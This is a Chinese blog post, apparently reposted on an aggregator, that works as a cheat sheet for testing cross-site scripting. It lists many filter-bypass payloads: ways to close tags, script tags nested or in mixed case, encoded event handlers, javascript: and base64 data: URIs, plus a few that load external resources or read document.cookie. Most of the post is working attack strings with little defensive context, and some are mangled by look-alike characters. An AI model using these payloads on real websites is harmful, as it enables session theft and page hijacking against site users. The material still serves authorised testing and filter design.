zoukankan      html  css  js  c++  java
  • XSS————3、XSS测试思路

    0x00前言

    作为一个刚入行的菜鸟,之前对XSS测试的思路没有一个具体化的总结

    今天下午写了一下关于测试XSS渗透测试过程的总结

    希望大家能在底下写上自己常用的和好用的payload

    谢谢!!!

    0x01 关于闭合前方标签

    首先自然是测试如何闭合前面的标签来成功插入自己的XSS代码,下面给出了几种常用的闭合

    1. ’>  ‘>  “>   “/>   ‘>>  “>>  ‘”>>  ‘>”>  >”>  >”’>  ‘” “>    

    2. =’>  ‘)   }     <%, <//, <!,<?可以被解析成<

    面对的转义单引号和双引号 怎么玩 –》宽字节 %c1'> 道理和宽字节注入一样

    3.直接过滤尖括号的绕过  "'%&#>  (此处借鉴宝哥,这些字符同样拿来结合上边的)

    4.对于标签的闭合 具体还是看前端代码 看是在什么样的标签当中,需要对什么样的父标签进行闭合。。。。。

     

    0x02 想办法改变纯纯的script标签

    Eg.:<script>alert(/xss/)</script>

    <script>被过滤怎么办

    标签大小写的绕过:<Script>(大量空格)alert(/xss/)(大量空格)</SCRipt>

    <Script>被一次过滤:<scr<script>ipt>alert(/xss/)</scr<script>ipt>

    </script>也被过滤了: <scr<script>ipt>alert(/xss/)</scr</script>ipt>

    多加几层试一试

    Unioncode 16进制 均不可用

    当我们的圆括号被过滤了

    1.alert`/xss/`

    2.`${alert `/xss/`}`

    3. <svg><script>alert&#40(大量空格)1&#41 </script></svg>

    4. <svg><script>alert&#40/1/&#41</script>

    这个位置的alert被过滤了 怎么玩呢

    1. confirm() 和 prompt() 等效
    2. <script>u0061u006Cu0065u0072u0074(/xss/)</script>  unioncode编码
    3. <script>(大量空格)+alert(/xss/)</script>
    4. <script>setTimeout(alert(88199),0)</script>这个能执行就OK了 也unioncode编码下

    0x03 标签元素

    1.与事件的组合

    <div οnclick="alert('xss')">xss</div>  <div onDbclick="alert('xss')">xss</div>

    <div οnmοuseenter="alert('xss')">xss</div>   <div οnmοuseup=alert(15)>xss</div>  

    <div οnmοuseοver=alert(15)>xss</div>         <div onmousewheel=alert(15)>xss</div>

    <div onmove=alert(15)>xss</div>

    <div οnmοuseleave=alert(15)>xss</div>       <div onmoveend=alert(15)>xss</div>

    <div οnmοusemοve=alert(15)>xss</div>      <div onmovestart=alert(15)>xss</div>

    <div οnmοuseοut=alert(/xss/)>xss</div>

    <a +上述事件>xss</a>

    <p+上述事件>xss</p>

    <span+上述事件>xss<span>

    <anytag+上述事件>xss

    <button+上述事件>xss

    <form οnsubmit=”alert(/xss/)”><button>xss

    <body οnlοad=alert(/xss/)>

    <marquee onstart=alert(30)></marquee>

    <select name=”” +上述鼠标事件><select>

    <select autofocus οnfοcus=alert(1)>

    <textarea autofocus οnfοcus=alert(1)>

    <keygen autofocus οnfοcus=alert(1)>

    <input οnfοcus=alert(/xss/) autofocus>

    <input οnblur=alert(/xss/) autofocus><input autofocus>

    如果以上事件或者标签被过滤了怎么办呢

    大小写的绕过

    <div/οnmοuseοver=alert(15)>xss</div>

    利用对敏感字的过滤绕过

    Eg. <div/onmou<script>seover=alert(15)>xss</div>

     

    2.标签与属性的组合

    利用SRC/href属性:

    <iframe src=”javascript:alert(/xss/)”>

    <a href=”javascript:alert(/xss/)”>

    <script src=data:text/javascript,alert(/xss/)></script>

    <iframe src="javascript:alert(/xss/)">

    <iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">

    其他属性:

    href=
    action=
    formaction=
    location=
    on*=(8/16)
    name=
    background=
    poster=
    src=
    code=
    data= //只支持base64

    onxxx里面可以用十六跟八进制 href里面可以用十进制和十六进制

    formaction”属性
    <isindexformaction="javascript:alert(1)"      type=image>
    <input type="image" formaction=JaVaScript:alert(0)>
     <form><button formaction=javascript&colon;alert(1)>CLICKME
    “background”属性
    <table background=javascript:alert(1)></table> // Works on Opera 10.5      and IE6
    “posters” 属性
    <video poster=javascript:alert(1)//></video> // Works Upto Opera 10.5
    “data”属性
    <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
    <object/data=//goo.gl/nlX0P?
    “code”属性
    <applet code="javascript:confirm(document.cookie);"> // Firefox Only
    <embed  code="http://businessinfo.co.uk/labs/xss/xss.swf"      allowscriptaccess=always>

    属性内值被过滤了怎么办

    首先当然还是大小写转换:

    <a href=”javas(TAB)cript:alert(/xss/)”>

    <a href=”javascrip&#116&#alert(/xss/)”> HTML属性内的值支持ASCII转码

    <a href=”&#01;javascript:alert(/xss/)或者&#1写在相同位置

    <a href=”java&#09(&#0A/&#0D);script:alert(/xss/)>

    <a href=”javascript&colon;alert(/xss/)”>通过对值的实体编码

    <a href=”java&Tab;script:alert(/xss/)”>

    <a href=”javasc&NewLine;ript&colon;alert(/xss/)”>

    <a href=” data:text/html;base64,PHNjcmlwdD5hbGVydCgiMSIpPC9zY3JpcHQ+” 玮协议

    javascript:%0dalert(1)   冒号后面不能连接字符的

    javascript:%0dhttp://www.0aa.me%0dalert(xss)   href后边必须带url的

    javascript://www.0aa.me%0dalert(xss)   协议后必须跟着网站

    3.标签属性和事件组合

    <img src=x      οnerrοr=prompt(/xss/);>
    <img/src=aaa.jpg      οnerrοr=prompt(/xss/);>防src过滤
    <video src=x      οnerrοr=prompt(/xss/);>
    <audio src=x      οnerrοr=prompt(/xss/);>

    过滤的话可以用类似二次嵌套的方式

    <img/src=x      one(过滤的内容)rror=alert(/xss/)>

    其他绕过方式就是编码或者进制转换,以及上边的这些方法

     

    总会有不期而遇的温暖. 和生生不息的希望。
  • 相关阅读:
    c# 中的线程和同步
    Javascript 观察者模式
    连接SQLite 创建ADO.net实体类
    给软件增加注册功能 c#
    log4net 使用步骤
    C# 操作 Excel
    PCL编译历程
    设计模式
    kinect
    eclipse配置servlet错误
  • 原文地址:https://www.cnblogs.com/devi1/p/13486647.html
Copyright © 2011-2022 走看看